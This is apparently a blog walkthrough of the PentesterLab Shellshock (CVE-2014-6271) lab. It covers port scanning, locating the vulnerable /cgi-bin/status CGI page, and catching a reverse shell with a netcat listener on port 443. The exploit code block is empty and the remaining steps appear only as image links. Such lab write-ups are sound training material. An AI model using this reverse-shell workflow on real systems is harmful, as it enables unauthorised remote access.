Pentesterlab--CVE-2014-6271/Shellshock
So it is said that if you know your enemies and know yourself, you will not be put at risk even if you have a hundred battles. —– The Art of War
This vulnerability impacts the Bourne Again Shell “Bash”. Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface “CGI”.
Difficluty: 1/5
Forces:
- Nmap
- Burp
- Firebug
- NC
Detail Assessment and Planning
- Port scan to identify opened ports, running services and services version. —-Nmap
- Identify vulnerability and path
/cgi-bin/status. —-Burp, Firebug - Exploit shellshock vuln get the reverse shell —- NC
Waging War
Weaknesses and Strengths
Used Nmap to idenfity opened ports. TCP port 80 is opened and Apache service is running on it.
![[title manually exploit [alt text]]](/images/blog/pentesterlab/shellshock/shellshock1.png)
By visiting the application with Burp, I can detect that multiple URL are accessed when the page is loaded:
![[title manually exploit [alt text]]](/images/blog/pentesterlab/shellshock/shellshock2.png)
Also by using Firebug, I can identify that CGI page which call system command /cgi-bin/status
![[title manually exploit [alt text]]](/images/blog/pentesterlab/shellshock/shellshock3.png)
Attack
listen port 443
# nc -l -p 443
exploit
1
| |
![[title manually exploit [alt text]]](/images/blog/pentesterlab/shellshock/shellshock5.png)
192.168.79.156 is the attacker’s machine and 192.168.79.164 is victim machine.
![[title manually exploit [alt text]]](/images/blog/pentesterlab/shellshock/shellshock6.png)
![[title manually exploit [alt text]]](/images/blog/pentesterlab/shellshock/game_over.jpg)